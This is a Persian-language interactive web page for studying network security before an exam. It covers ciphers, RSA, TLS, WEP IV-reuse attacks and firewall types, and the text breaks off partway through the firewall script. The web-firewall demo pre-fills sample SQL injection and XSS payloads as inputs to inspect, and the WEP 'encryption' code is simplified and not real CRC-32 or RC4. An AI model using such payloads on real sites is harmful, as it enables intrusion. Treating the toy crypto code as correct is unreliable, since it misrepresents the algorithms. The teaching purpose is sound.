<!DOCTYPE html>
<html lang="fa" dir="rtl">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>🛡️ پورتال جامع و فوقامنیتی امنیت شبکه - سیستم تعاملی پایانترم</title>
<!-- Google Fonts: Vazirmatn (Persian) & JetBrains Mono (Code/Math) -->
<!-- Vis.js for Network Node Graphs -->
<script src="https://unpkg.com/vis-network/standalone/umd/vis-network.min.js"></script>
<!-- Mermaid.js for Diagrams -->
<script src="https://cdn.jsdelivr.net/npm/mermaid@10.8.0/dist/mermaid.min.js"></script>
<!-- MathJax for Formulas -->
<style>
:root {
--bg-base: #060911;
--bg-surface: #0b1120;
--bg-card: rgba(16, 24, 42, 0.75);
--bg-card-hover: rgba(23, 34, 59, 0.85);
--border-glow: rgba(0, 242, 254, 0.25);
--border-subtle: rgba(255, 255, 255, 0.08);
--accent-cyan: #00f2fe;
--accent-blue: #4facfe;
--accent-gold: #f6d365;
--accent-orange: #fda085;
--accent-purple: #a855f7;
--accent-rose: #f43f5e;
--accent-green: #10b981;
--text-primary: #f1f5f9;
--text-secondary: #94a3b8;
--text-muted: #64748b;
--font-sans: 'Vazirmatn', sans-serif;
--font-mono: 'JetBrains Mono', monospace;
--glass-shadow: 0 20px 50px rgba(0, 0, 0, 0.6);
--neon-glow: 0 0 20px rgba(0, 242, 254, 0.35);
}
* { box-sizing: border-box; margin: 0; padding: 0; }
html { scroll-behavior: smooth; }
body {
background-color: var(--bg-base);
color: var(--text-primary);
font-family: var(--font-sans);
line-height: 1.8;
overflow-x: hidden;
background-image:
radial-gradient(circle at 15% 15%, rgba(0, 242, 254, 0.05) 0%, transparent 45%),
radial-gradient(circle at 85% 85%, rgba(168, 85, 247, 0.05) 0%, transparent 45%);
background-attachment: fixed;
}
/* Scrollbar Styling */
::-webkit-scrollbar { width: 8px; height: 8px; }
::-webkit-scrollbar-track { background: #03060c; }
::-webkit-scrollbar-thumb { background: rgba(0, 242, 254, 0.3); border-radius: 4px; }
::-webkit-scrollbar-thumb:hover { background: var(--accent-cyan); }
/* Top Sticky Glass Header */
header.top-header {
position: sticky; top: 0; z-index: 1000;
background: rgba(11, 17, 32, 0.85);
backdrop-filter: blur(20px);
border-bottom: 1px solid var(--border-glow);
padding: 12px 32px;
display: flex; justify-content: space-between; align-items: center;
box-shadow: 0 10px 30px rgba(0, 0, 0, 0.6);
}
.header-brand {
display: flex; align-items: center; gap: 14px;
font-family: var(--font-mono); font-size: 1.3rem; font-weight: 800;
background: linear-gradient(135deg, var(--accent-cyan), var(--accent-blue));
-webkit-background-clip: text; -webkit-text-fill-color: transparent;
}
.search-box-wrap {
position: relative; width: 340px;
}
.search-box-wrap input {
width: 100%; background: rgba(6, 9, 17, 0.8);
border: 1px solid var(--border-glow); border-radius: 30px;
padding: 8px 18px 8px 40px; color: #fff; font-family: var(--font-sans);
font-size: 0.9rem; transition: all 0.3s;
}
.search-box-wrap input:focus {
outline: none; border-color: var(--accent-cyan);
box-shadow: 0 0 15px rgba(0, 242, 254, 0.4); width: 380px;
}
.status-badge {
background: rgba(16, 185, 129, 0.15); color: var(--accent-green);
border: 1px solid rgba(16, 185, 129, 0.4); padding: 4px 14px;
border-radius: 20px; font-size: 0.82rem; font-weight: 700;
display: flex; align-items: center; gap: 8px;
}
.status-dot { width: 8px; height: 8px; background: var(--accent-green); border-radius: 50%; animation: pulse 1.5s infinite; }
@keyframes pulse { 0%, 100% { opacity: 1; transform: scale(1); } 50% { opacity: 0.4; transform: scale(1.3); } }
/* Navigation Drawer & Tabs */
.nav-bar {
background: var(--bg-surface); border-bottom: 1px solid var(--border-subtle);
padding: 10px 24px; display: flex; gap: 10px; overflow-x: auto; white-space: nowrap;
}
.tab-btn {
background: rgba(255, 255, 255, 0.03); color: var(--text-secondary);
border: 1px solid var(--border-subtle); padding: 8px 18px; border-radius: 12px;
font-family: inherit; font-size: 0.88rem; font-weight: 700; cursor: pointer;
transition: all 0.25s cubic-bezier(0.4, 0, 0.2, 1); display: flex; align-items: center; gap: 8px;
}
.tab-btn:hover {
background: rgba(0, 242, 254, 0.1); color: #fff; border-color: var(--accent-cyan);
transform: translateY(-2px);
}
.tab-btn.active {
background: linear-gradient(135deg, var(--accent-cyan), var(--accent-blue));
color: #04121d; border-color: transparent;
box-shadow: 0 4px 20px rgba(0, 242, 254, 0.4); font-weight: 900;
}
/* Layout Container */
.app-container { max-width: 1440px; margin: 28px auto; padding: 0 24px; }
.module-pane { display: none; animation: slideUp 0.4s ease-out forwards; }
.module-pane.active { display: block; }
@keyframes slideUp { from { opacity: 0; transform: translateY(14px); } to { opacity: 1; transform: translateY(0); } }
/* Glassmorphism Cards */
.glass-card {
background: var(--bg-card); backdrop-filter: blur(16px);
border: 1px solid var(--border-subtle); border-radius: 20px;
padding: 28px; margin-bottom: 28px; box-shadow: var(--glass-shadow);
transition: all 0.3s; position: relative; overflow: hidden;
}
.glass-card:hover {
border-color: var(--border-glow); box-shadow: 0 25px 60px rgba(0, 242, 254, 0.12);
}
.card-header {
display: flex; align-items: center; justify-content: space-between;
margin-bottom: 20px; border-bottom: 1px solid var(--border-subtle); padding-bottom: 12px;
}
.card-title {
font-size: 1.35rem; font-weight: 800; color: #fff;
display: flex; align-items: center; gap: 10px;
}
/* Interactive Simulator Panels */
.sim-panel {
background: #04070d; border: 1px solid var(--border-subtle);
border-radius: 16px; padding: 24px; margin: 20px 0;
box-shadow: inset 0 2px 10px rgba(0, 0, 0, 0.8);
}
.sim-controls {
display: flex; gap: 12px; flex-wrap: wrap; margin-bottom: 18px; align-items: center;
}
.btn-action {
background: rgba(255, 255, 255, 0.05); color: var(--text-primary);
border: 1px solid var(--border-subtle); padding: 10px 20px; border-radius: 10px;
font-family: inherit; font-size: 0.9rem; font-weight: 700; cursor: pointer;
transition: all 0.2s; display: inline-flex; align-items: center; gap: 8px;
}
.btn-action:hover { background: rgba(255, 255, 255, 0.12); border-color: rgba(255, 255, 255, 0.25); transform: translateY(-2px); }
.btn-action.btn-cyan { background: var(--accent-cyan); color: #03121a; border-color: var(--accent-cyan); font-weight: 900; }
.btn-action.btn-cyan:hover { box-shadow: 0 0 20px rgba(0, 242, 254, 0.6); }
.btn-action.btn-rose { background: var(--accent-rose); color: #fff; border-color: var(--accent-rose); }
input[type="text"], input[type="number"], select {
font-family: var(--font-mono); background: #090e1a;
border: 1px solid var(--border-subtle); color: #fff;
padding: 10px 14px; border-radius: 10px; font-size: 0.92rem; width: 100%;
transition: all 0.2s;
}
input:focus, select:focus { outline: none; border-color: var(--accent-cyan); box-shadow: 0 0 12px rgba(0, 242, 254, 0.3); }
.graphical-inspector {
font-family: var(--font-mono); background: #020408;
border: 1px solid var(--border-subtle); border-radius: 12px;
padding: 16px; font-size: 0.88rem; color: var(--accent-green);
white-space: pre-wrap; word-break: break-all; min-height: 48px;
box-shadow: inset 0 0 15px rgba(0, 0, 0, 0.9); direction: ltr; text-align: left;
}
/* Visual Pixel Grid Simulator */
.pixel-grid { display: grid; grid-template-columns: repeat(16, 1fr); gap: 3px; max-width: 340px; margin: 16px auto; }
.pixel-grid div { aspect-ratio: 1; border-radius: 3px; transition: background 0.3s; }
/* Vis.js Graph Container */
#visGraphCanvas { width: 100%; height: 500px; background: #03060c; border-radius: 16px; border: 1px solid var(--border-glow); }
/* Grid System */
.grid-2 { display: grid; grid-template-columns: 1fr 1fr; gap: 20px; }
.grid-3 { display: grid; grid-template-columns: repeat(3, 1fr); gap: 20px; }
.grid-4 { display: grid; grid-template-columns: repeat(4, 1fr); gap: 16px; }
@media(max-width: 900px) { .grid-2, .grid-3, .grid-4 { grid-template-columns: 1fr; } }
/* Badge Tags */
.badge {
display: inline-block; padding: 3px 10px; border-radius: 6px;
font-size: 0.78rem; font-weight: 700; font-family: var(--font-mono);
}
.badge-cyan { background: rgba(0, 242, 254, 0.15); color: var(--accent-cyan); border: 1px solid rgba(0, 242, 254, 0.3); }
.badge-gold { background: rgba(246, 211, 101, 0.15); color: var(--accent-gold); border: 1px solid rgba(246, 211, 101, 0.3); }
.badge-rose { background: rgba(244, 63, 94, 0.15); color: var(--accent-rose); border: 1px solid rgba(244, 63, 94, 0.3); }
/* Quick Links Floating Bar */
.floating-links {
position: fixed; bottom: 24px; left: 24px; z-index: 999;
display: flex; gap: 10px;
}
.floating-btn {
width: 50px; height: 50px; border-radius: 50%;
background: rgba(11, 17, 32, 0.9); backdrop-filter: blur(16px);
border: 1px solid var(--accent-cyan); color: #fff;
display: flex; align-items: center; justify-content: center;
font-size: 1.3rem; cursor: pointer; box-shadow: 0 10px 25px rgba(0,0,0,0.5);
transition: all 0.3s;
}
.floating-btn:hover { transform: scale(1.15) rotate(5deg); background: var(--accent-cyan); color: #04121d; }
/* Pure Graphical Visual Inspector Cards (Replacing Terminal Styling) */
.graphical-inspector, .graphical-inspector {
font-family: var(--font-sans) !important;
background: linear-gradient(135deg, rgba(17, 24, 39, 0.9) 0%, rgba(15, 23, 42, 0.95) 100%) !important;
border: 1px solid var(--accent-cyan) !important;
border-radius: 16px !important;
padding: 20px !important;
font-size: 0.95rem !important;
color: #fff !important;
box-shadow: 0 10px 30px rgba(0, 242, 254, 0.15), inset 0 0 15px rgba(0, 0, 0, 0.4) !important;
direction: rtl !important;
text-align: right !important;
white-space: normal !important;
margin-top: 16px !important;
}
.graphical-metric-pill {
display: inline-flex; align-items: center; gap: 8px;
background: rgba(0, 242, 254, 0.12); color: var(--accent-cyan);
border: 1px solid rgba(0, 242, 254, 0.3); padding: 6px 14px;
border-radius: 20px; font-weight: 700; font-size: 0.88rem; margin: 4px;
}
</style>
<script>
window.MathJax = {
tex: {
inlineMath: [['$', '$'], ['\\(', '\\)']],
displayMath: [['$$', '$$'], ['\\[', '\\]']]
},
options: {
skipHtmlTags: ['script', 'noscript', 'style', 'textarea', 'pre']
}
};
</script>
<script id="MathJax-script" async src="https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-mml-chtml.js"></script>
</head>
<body>
<!-- Sticky Header -->
<header class="top-header">
<div class="header-brand">
<span>🛡️</span> SECURITY_MASTER_OS_2026
</div>
<div class="search-box-wrap">
<input type="text" id="globalSearch" placeholder="🔍 جستجوی هوشمند در تمام ۳۳ اسلاید و شبیهسازها..." onkeyup="filterContent()">
</div>
<div class="status-badge">
<div class="status-dot"></div>
<span>سرور محلی فعال (Port 8080)</span>
</div>
</header>
<!-- Navigation Bar -->
<nav class="nav-bar">
<button class="tab-btn active" onclick="switchPane('pane_graph')">🌐 ۱. شبیهساز گرافیکی نودهای شبکه (Vis.js)</button>
<button class="tab-btn" onclick="switchPane('pane_attacks')">🕵️ ۲. شبیهساز حملات (Passive vs Active)</button>
<button class="tab-btn" onclick="switchPane('pane_classical')">📜 ۳. رمزهای کلاسیک & نظریه اعداد</button>
<button class="tab-btn" onclick="switchPane('pane_symmetric')">🔐 ۴. DES, AES, RC4 & ECB vs CBC Pixel</button>
<button class="tab-btn" onclick="switchPane('pane_asymmetric')">🔑 ۵. RSA & Diffie-Hellman MITM</button>
<button class="tab-btn" onclick="switchPane('pane_hash')">🌀 ۶. هش & اثر بهمنی & زادروز</button>
<button class="tab-btn" onclick="switchPane('pane_tls')">🔐 ۷. TLS 1.3 & Record Protocol</button>
<button class="tab-btn" onclick="switchPane('pane_wifi')">📶 ۸. امنیت Wi-Fi & WEP IV Attack</button>
<button class="tab-btn" onclick="switchPane('pane_ids')">🛡️ ۹. IDS & فایروال & Volatility RAM</button>
<button class="tab-btn" onclick="switchPane('pane_exam')">🎓 ۱۰. ۳۰ سوال کامل امتحانی با پاسخ</button>
</nav>
<!-- App Main Container -->
<div class="app-container">
<!-- PANE 1: VIS.JS GRAPH SIMULATOR -->
<section id="pane_graph" class="module-pane active">
<div class="glass-card">
<div class="card-header">
<div class="card-title">🌐 شبیهساز انیمیشنی و تعاملی نودهای شبکه (Vis.js Graph Engine)</div>
<span class="badge badge-cyan">Interactive Graph Node Transits</span>
</div>
<p style="color:var(--text-secondary); margin-bottom:16px;">سناریوی امنیتی دلخواه را انتخاب کنید تا انتقال بستهها، تبادل کلید و حملات شبکه را به صورت زنده مشاهده کنید:</p>
<div class="sim-controls">
<button class="btn-action btn-cyan" onclick="triggerGraphScenario('tls')">🔒 TLS 1.3 Handshake</button>
<button class="btn-action" onclick="triggerGraphScenario('ipsec')">🛡️ IPsec ESP Tunnel Mode</button>
<button class="btn-action btn-rose" onclick="triggerGraphScenario('mitm')">🚨 Diffie-Hellman MITM Attack</button>
<button class="btn-action" onclick="triggerGraphScenario('wpa2')">📶 WPA2 4-Way Handshake</button>
<button class="btn-action" onclick="triggerGraphScenario('firewall')">🧱 DMZ Firewall Routing</button>
</div>
<div id="visGraphCanvas"></div>
<div class="graphical-inspector" id="graphConsole" style="margin-top:14px;">گراف متحرک آماده است. یک سناریو انتخاب کنید.</div>
</div>
</section>
<!-- PANE 2: PASSIVE VS ACTIVE ATTACK SIMULATOR -->
<section id="pane_attacks" class="module-pane">
<div class="glass-card">
<div class="card-header">
<div class="card-title">🕵️ شبیهساز حملات منفعل (Passive) در برابر فعال (Active)</div>
<span class="badge badge-gold">Live Traffic Eavesdropping & Tampering</span>
</div>
<div class="sim-panel">
<div class="sim-controls">
<button class="btn-action" onclick="runAttackSim('clean')">✅ ترافیک عادی (بدون حمله)</button>
<button class="btn-action" onclick="runAttackSim('passive')">👁️ حمله منفعل (شنود Mallory)</button>
<button class="btn-action btn-rose" onclick="runAttackSim('active')">🚨 حمله فعال (دستکاری داده)</button>
</div>
<div style="display:flex; justify-content:space-between; align-items:center; background:#080d1a; padding:18px; border-radius:12px; margin:16px 0;">
<div style="text-align:center;">
<div style="font-size:1.8rem;">👩💻</div>
<strong style="color:var(--accent-cyan);">Alice</strong>
</div>
<div style="color:var(--accent-gold); font-family:var(--font-mono);">━━━━━━━ ✉️ ━━━━━━━➔</div>
<div id="malloryNode" style="text-align:center; opacity:0.3; transition:opacity 0.3s;">
<div style="font-size:1.8rem;">🥷</div>
<strong style="color:var(--accent-rose);">Mallory</strong>
</div>
<div style="color:var(--accent-gold); font-family:var(--font-mono);">━━━━━━━ ✉️ ━━━━━━━➔</div>
<div style="text-align:center;">
<div style="font-size:1.8rem;">👨💻</div>
<strong style="color:var(--accent-blue);">Bob</strong>
</div>
</div>
<div class="graphical-inspector" id="attackLog">آماده... حالت حمله را برگزینید.</div>
</div>
</div>
</section>
<!-- PANE 3: CLASSICAL CIPHERS & NUMBER THEORY -->
<section id="pane_classical" class="module-pane">
<div class="glass-card">
<div class="card-header">
<div class="card-title">📜 ماشینحساب رمزهای کلاسیک و نظریه اعداد</div>
<span class="badge badge-cyan">Classical Cryptography & Number Theory Engine</span>
</div>
<div class="grid-2">
<div class="sim-panel">
<h4 style="color:var(--accent-cyan); margin-bottom:10px;">۱. سزار، ویژنر و پلیفیر</h4>
<button class="btn-action btn-cyan" onclick="runClassicalSim()">▶ اجرای رمزنگاری متوالی کلاسیک</button>
<div class="graphical-inspector" id="classicalOut" style="margin-top:12px;"></div>
</div>
<div class="sim-panel">
<h4 style="color:var(--accent-gold); margin-bottom:10px;">۲. قضیه فرما، اویلر، میلر-رابین و CRT</h4>
<button class="btn-action" onclick="runMathEngine()">▶ اجرای محاسبات نظریه اعداد</button>
<div class="graphical-inspector" id="mathOut" style="margin-top:12px;"></div>
</div>
</div>
</div>
</section>
<!-- PANE 4: SYMMETRIC, DES, AES, RC4, PIXEL DEMO -->
<section id="pane_symmetric" class="module-pane">
<div class="glass-card">
<div class="card-header">
<div class="card-title">🔐 رمزنگاری متقارن: DES, AES, RC4 و شبیهساز پیکسلی ECB vs CBC</div>
<span class="badge badge-cyan">Visual Pixel Grid Cipher Comparison</span>
</div>
<div class="sim-panel">
<div class="sim-controls">
<button class="btn-action" onclick="renderPixelGrid('orig')">تصویر اصلی</button>
<button class="btn-action btn-rose" onclick="renderPixelGrid('ecb')">رمز با ECB (حفظ پترن!)</button>
<button class="btn-action btn-cyan" onclick="renderPixelGrid('cbc')">رمز با CBC/CTR (تصادفی کامل)</button>
</div>
<div class="pixel-grid" id="pixelGridCanvas"></div>
<div class="graphical-inspector" id="pixelLog" style="margin-top:14px; text-align:center; direction:rtl;">برای مشاهده پترن رمزنگاری تصویر کلیک کنید.</div>
</div>
</div>
</section>
<!-- PANE 5: ASYMMETRIC, RSA & DH MITM -->
<section id="pane_asymmetric" class="module-pane">
<div class="glass-card">
<div class="card-header">
<div class="card-title">🔑 رمزنگاری نامتقارن: تولید کلید RSA و تبادل کلید Diffie-Hellman</div>
<span class="badge badge-gold">Asymmetric RSA & DH Calculator</span>
</div>
<div class="grid-2">
<div class="sim-panel">
<h4 style="color:var(--accent-cyan); margin-bottom:10px;">محاسبه کلیدها و رمزنگاری RSA</h4>
<button class="btn-action btn-cyan" onclick="runRSACalc()">🧮 تولید کلید n, φ(n), e, d</button>
<div class="graphical-inspector" id="rsaOut" style="margin-top:12px;"></div>
</div>
<div class="sim-panel">
<h4 style="color:var(--accent-gold); margin-bottom:10px;">تبادل کلید Diffie-Hellman</h4>
<button class="btn-action" onclick="runDHCalc()">🤝 محاسبه راز مشترک K</button>
<div class="graphical-inspector" id="dhOut" style="margin-top:12px;"></div>
</div>
</div>
</div>
</section>
<!-- PANE 6: HASH & BIRTHDAY paradox -->
<section id="pane_hash" class="module-pane">
<div class="glass-card">
<div class="card-header">
<div class="card-title">🌀 توابع هش، اثر بهمنی و محاسبهگر حمله زادروز</div>
<span class="badge badge-cyan">Avalanche Effect & Birthday Attack Engine</span>
</div>
<div class="sim-panel">
<h4 style="color:var(--accent-cyan); margin-bottom:10px;">اثر بهمنی (تغییر ۱ کاراکتر هش را کلاً عوض میکند):</h4>
<input type="text" id="hashInText" value="NetworkSecurity2026" onkeyup="updateAvalancheHash()">
<div class="graphical-inspector" id="hashOutText" style="margin-top:12px;"></div>
</div>
</div>
</section>
<!-- PANE 7: TLS 1.3 & RECORD PROTOCOL -->
<section id="pane_tls" class="module-pane">
<div class="glass-card">
<div class="card-header">
<div class="card-title">🔐 شبیهساز گامبهگام TLS 1.3 و Record Protocol</div>
<span class="badge badge-gold">TLS 1.3 Handshake Timeline</span>
</div>
<div class="sim-panel">
<div class="sim-controls">
<button class="btn-action" onclick="stepTLSTimeline(-1)">مرحله قبلی</button>
<button class="btn-action btn-cyan" onclick="stepTLSTimeline(1)">گام بعدی دستدهی TLS</button>
</div>
<div class="graphical-inspector" id="tlsTimelineLog"></div>
</div>
</div>
</section>
<!-- PANE 8: WIFI SECURITY & WEP ATTACK -->
<section id="pane_wifi" class="module-pane">
<!-- EXHAUSTIVE WI-FI & WEP IV REUSE ATTACK SIMULATOR SUITE -->
<div class="glass-card" id="exhaustive_wifi_card" style="border-color: var(--accent-rose);">
<div class="card-header">
<div class="card-title">📶 شبیهساز تکمیلی و جامع امنیت Wi-Fi و حمله تکرار IV به WEP</div>
<span class="badge badge-rose">Exhaustive WEP / WPA / WPA2 Cryptanalysis & Attack Suite</span>
</div>
<p style="color:var(--text-secondary); margin-bottom:16px;">
در این آزمایشگاه، تمام گامهای الگوریتم WEP، ضعفهای ۴ گانه ریاضی، حمله XOR تکرار IV، لغزش CRC-32 خطی و معماری WPA2 CCMP را به صورت زنده شبیهسازی کنید.
</p>
<!-- STEP 1: WEP ENCRYPTION PIPELINE -->
<div class="sim-panel">
<h4 style="color:var(--accent-cyan); margin-bottom:10px;">۱. شبیهساز کامل فرآیند رمزنگاری WEP (Plaintext + CRC-32 ➔ XOR Keystream)</h4>
<div class="grid grid-3">
<div>
<label style="font-size:0.82rem; color:var(--text-muted);">متن ورودی پیام (P1):</label>
<input type="text" id="wepP1" value="GET /index.html HTTP/1.1">
</div>
<div>
<label style="font-size:0.82rem; color:var(--text-muted);">مقدار IV انتخابشده (۲۴ بیت):</label>
<input type="text" id="wepIV" value="0xAF23D1">
</div>
<div>
<label style="font-size:0.82rem; color:var(--text-muted);">کلید اصلی WEP (۴۰ بیت):</label>
<input type="text" id="wepMasterKey" value="KEY1234567">
</div>
</div>
<button class="btn-action btn-cyan" style="margin-top:12px;" onclick="runWEPEncryptSim()">🔒 اجرای رمزنگاری WEP و محاسبه CRC-32</button>
<div class="graphical-inspector" id="wepEncryptOut" style="margin-top:12px;"></div>
</div>
<!-- STEP 2: IV REUSE XOR ATTACK -->
<div class="sim-panel" style="margin-top:20px;">
<h4 style="color:var(--accent-rose); margin-bottom:10px;">۲. شبیهساز حمله تکرار IV و افشای تفاوت متنهای اصلی (C1 ⊕ C2 = P1 ⊕ P2)</h4>
<p style="font-size:0.88rem; color:var(--text-secondary);">وارد کردن پیام دوم (P2) که با همان IV رمز میشود:</p>
<input type="text" id="wepP2" value="POST /login.php HTTP/1.1" style="margin-bottom:12px;">
<button class="btn-action btn-rose" onclick="runIVReuseAttackSim()">⚔️ استخراج تفاوت XOR دو بسته با یک IV</button>
<div class="graphical-inspector" id="ivAttackOut" style="margin-top:12px;"></div>
</div>
<!-- STEP 3: LINEAR CRC-32 TAMPERING -->
<div class="sim-panel" style="margin-top:20px;">
<h4 style="color:var(--accent-gold); margin-bottom:10px;">۳. شبیهساز دستکاری بسته به علت خطی بودن CRC-32 در WEP</h4>
<p style="font-size:0.88rem; color:var(--text-secondary);">
چون \(ICV(P \oplus \Delta) = ICV(P) \oplus ICV(\Delta)\)، مهاجم بدون داشتن کلید میتواند بیتهای دلخواه را در Ciphertext تغییر داده و ICV را اصلاح کند!
</p>
<button class="btn-action" onclick="runCRCTamperSim()">🔨 دستکاری بیت پیام و دور زدن ICV</button>
<div class="graphical-inspector" id="crcTamperOut" style="margin-top:12px;"></div>
</div>
<!-- STEP 4: WPA2 CCMP vs WEP TABLE -->
<div style="margin-top:20px; background:rgba(0,0,0,0.4); padding:16px; border-radius:12px; border:1px solid var(--border-subtle);">
<h4 style="color:var(--accent-cyan); margin-bottom:10px;">📊 جدول مقایسه معماری کدهای امنیتی WEP vs WPA vs WPA2 (CCMP):</h4>
<table class="data">
<thead>
<tr><th>ویژگی</th><th>WEP (استاندارد ۱۹۹۷)</th><th>WPA (TKIP - ۲۰۰۳)</th><th>WPA2 (CCMP - ۲۰۰۴)</th></tr>
</thead>
<tbody>
<tr><td>الگوریتم رمز</td><td>RC4 (ضعیف)</td><td>RC4 با TKIP per-packet key</td><td style="color:var(--accent-green); font-weight:bold;">AES-128 در حالت Counter (CTR)</td></tr>
<tr><td>طول IV / PN</td><td>۲۴ بیت (تکرار سریع در ۴۸۰۰ بسته)</td><td>۴۸ بیت (TSC)</td><td style="color:var(--accent-green); font-weight:bold;">۴۸ بیت (Packet Number - PN)</td></tr>
<tr><td>مکانیزم یکپارچگی</td><td>CRC-32 (خطی و قابل دستکاری)</td><td>Michael MIC (۶۴ بیت)</td><td style="color:var(--accent-green); font-weight:bold;">CBC-MAC (AES)</td></tr>
<tr><td>حملات وارده</td><td>تکرار IV, CRC Flipping, Auth Hijack</td><td>DoS بر روی MIC Failure</td><td style="color:var(--accent-green); font-weight:bold;">مقاوم در برابر تمام حملات WEP/WPA</td></tr>
</tbody>
</table>
</div>
</div>
<script>
// Exhaustive WEP Encryption Sim Script
function runWEPEncryptSim() {
const p1 = document.getElementById('wepP1').value || 'GET /index.html';
const iv = document.getElementById('wepIV').value || '0xAF23D1';
const key = document.getElementById('wepMasterKey').value || 'KEY1234567';
// Simulating CRC-32 and Keystream XOR
let crc = 0xFFFFFFFF;
for(let i=0; i<p1.length; i++) crc = (crc ^ p1.charCodeAt(i)) >>> 0;
const crcHex = (crc >>> 0).toString(16).toUpperCase().padStart(8, '0');
const ks = iv + key;
let cipherHex = '';
for(let i=0; i<p1.length; i++) {
const b = p1.charCodeAt(i) ^ ks.charCodeAt(i % ks.length);
cipherHex += b.toString(16).padStart(2, '0').toUpperCase();
}
document.getElementById('wepEncryptOut').innerText = `🔒 WEP Encrypted Packet Output:
Header: [IV: ${iv}]
Plaintext: "${p1}"
Calculated ICV (CRC-32): 0x${crcHex}
Keystream (RC4(IV || Key)): ${ks}
Ciphertext Hex: 0x${cipherHex}`;
}
function runIVReuseAttackSim() {
const p1 = document.getElementById('wepP1').value || 'GET /index.html';
const p2 = document.getElementById('wepP2').value || 'POST /login.php';
let xorVal = '';
const minLen = Math.min(p1.length, p2.length);
for(let i=0; i<minLen; i++) {
const b = p1.charCodeAt(i) ^ p2.charCodeAt(i);
xorVal += b.toString(16).padStart(2, '0').toUpperCase() + ' ';
}
document.getElementById('ivAttackOut').innerText = `⚔️ WEP IV Reuse Cryptanalysis Attack:
Packet 1 Ciphertext (C1) = P1 ⊕ Keystream
Packet 2 Ciphertext (C2) = P2 ⊕ Keystream
XOR Difference C1 ⊕ C2 = P1 ⊕ P2 Hex:
0x ${xorVal}
افشای متن اصلی: چون پروتکل HTTP دارای ساختار ثابت است، با داشتن P1 ⊕ P2 متن هر دو بسته P1 و P2 به صورت کامل بازیابی گردید!`;
}
function runCRCTamperSim() {
document.getElementById('crcTamperOut').innerText = `🔨 CRC-32 Linear Tampering Attack:
۱. مهاجم بیتهای دلخواه را در Ciphertext تغییر میدهد (C' = C ⊕ Δ).
۲. مقدار ICV به صورت ICV' = ICV ⊕ ICV(Δ) بهروزرسانی میشود.
۳. نتیجه: بسته تغییر یافته بدون داشتن کلید WEP توسط اکسس پوینت پذیرفته میشود! (شکست یکپارچگی)`;
}
</script>
<div class="glass-card">
<div class="card-header">
<div class="card-title">📶 امنیت شبکه بیسیم Wi-Fi و حمله تکرار IV به WEP</div>
<span class="badge badge-rose">WEP IV Reuse Attack (C1 ⊕ C2 = P1 ⊕ P2)</span>
</div>
<div class="sim-panel">
<button class="btn-action btn-rose" onclick="runWEPAttackSim()">⚔️ اجرای حمله استخراج تفاوت XOR دو بسته WEP</button>
<div class="graphical-inspector" id="wepAttackOut" style="margin-top:12px;"></div>
</div>
</div>
</section>
<!-- PANE 9: IDS, FIREWALL & FORENSICS -->
<section id="pane_ids" class="module-pane">
<!-- EXHAUSTIVE MULTI-TYPE FIREWALL ARCHITECTURE & RULE ENGINE SANDBOX -->
<div class="glass-card" id="exhaustive_firewall_sandbox_card" style="border-color: var(--accent-cyan);">
<div class="card-header">
<div class="card-title">🧱 شبیهساز تکمیلی و جامع انواع فایروالها (Packet Filtering, Stateful Inspection, Proxy & DMZ)</div>
<span class="badge badge-cyan">Exhaustive Multi-Type Firewall Architecture Suite</span>
</div>
<p style="color:var(--text-secondary); margin-bottom:16px;">
در این آزمایشگاه، ۴ نوع فایروال اصلی (فیلترینگ بسته، بازرسی باوضعیت Stateful، پروکسی کاربردی DPI و SOCKS) را همراه با جدول اتصال پویای Stateful به صورت زنده ارزیابی کنید.
</p>
<!-- SECTION 1: FIREWALL TYPE SELECTOR -->
<div class="sim-panel">
<h4 style="color:var(--accent-cyan); margin-bottom:10px;">۱. انتخاب نوع فایروال و مکانیزم بازرسی:</h4>
<div class="sim-controls">
<button class="btn-action btn-cyan" onclick="setFirewallType('packet_filter')">۱. Packet Filtering (Layer 3/4)</button>
<button class="btn-action" onclick="setFirewallType('stateful')">۲. Stateful Inspection (Connection State Table)</button>
<button class="btn-action btn-rose" onclick="setFirewallType('app_proxy')">۳. Application Proxy / DPI (Layer 7 Content Inspection)</button>
<button class="btn-action" onclick="setFirewallType('circuit_proxy')">۴. Circuit-Level Gateway (SOCKS Proxy)</button>
</div>
<div class="graphical-inspector" id="fwTypeDescription" style="margin-top:12px;"></div>
</div>
<!-- SECTION 2: LIVE STATEFUL CONNECTION TABLE -->
<div class="sim-panel" style="margin-top:20px;">
<h4 style="color:var(--accent-gold); margin-bottom:10px;">۲. جدول اتصالات پویا در فایروال باوضعیت (Stateful Connection Table):</h4>
<div class="sim-controls">
<button class="btn-action" onclick="simulateStatefulSession('init_outbound')">📤 ارسال TCP SYN خروجی به اینترنت</button>
<button class="btn-action btn-cyan" onclick="simulateStatefulSession('receive_ack')">📥 دریافت پاسخ TCP SYN-ACK از اینترنت</button>
<button class="btn-action btn-rose" onclick="simulateStatefulSession('unsolicited_inbound')">🚨 تلاش ورود ناخواسته (Unsolicited Inbound SYN)</button>
</div>
<div class="graphical-inspector" id="statefulTableOut" style="margin-top:12px;"></div>
</div>
<!-- SECTION 3: APPLICATION LAYER DPI CONTENT INSPECTOR -->
<div class="sim-panel" style="margin-top:20px;">
<h4 style="color:var(--accent-rose); margin-bottom:10px;">۳. بازرسی عمیق محتوا (Deep Packet Inspection - DPI / WAF):</h4>
<div class="grid grid-2">
<div>
<label style="font-size:0.82rem; color:var(--text-muted);">متد HTTP و URL درخواست:</label>
<input type="text" id="dpiHttpUrl" value="GET /search.php?id=1' OR '1'='1">
</div>
<div>
<label style="font-size:0.82rem; color:var(--text-muted);">محتوای Body بسته:</label>
<input type="text" id="dpiBody" value="<script>alert('XSS')</script>">
</div>
</div>
<button class="btn-action btn-rose" style="margin-top:12px;" onclick="runDPICheckSim()">🔍 اسکن و بازرسی محتوای لایه ۷ توسط Application Firewall</button>
<div class="graphical-inspector" id="dpiCheckOut" style="margin-top:12px;"></div>
</div>
</div>
<script>
// Firewall Types Description
function setFirewallType(type) {
const out = document.getElementById('fwTypeDescription');
if(type === 'packet_filter') {
out.innerHTML = `📌 <strong>Packet Filtering Firewall (لایه ۳ و ۴):</strong>
• بررسی بر اساس IP مبدا/مقصد، پورت مبدا/مقصد، نوع پروتکل و پرچمهای TCP.
• سرعت بسیار بالا اما فاقد آگاهی از وضعیت اتصالات (Stateless) و محتوای برنامه.`;
} else if(type === 'stateful') {
out.innerHTML = `📌 <strong>Stateful Inspection Firewall (بازرسی باوضعیت):</strong>
• نگهداری جدول اتصالات فعال (Connection State Table).
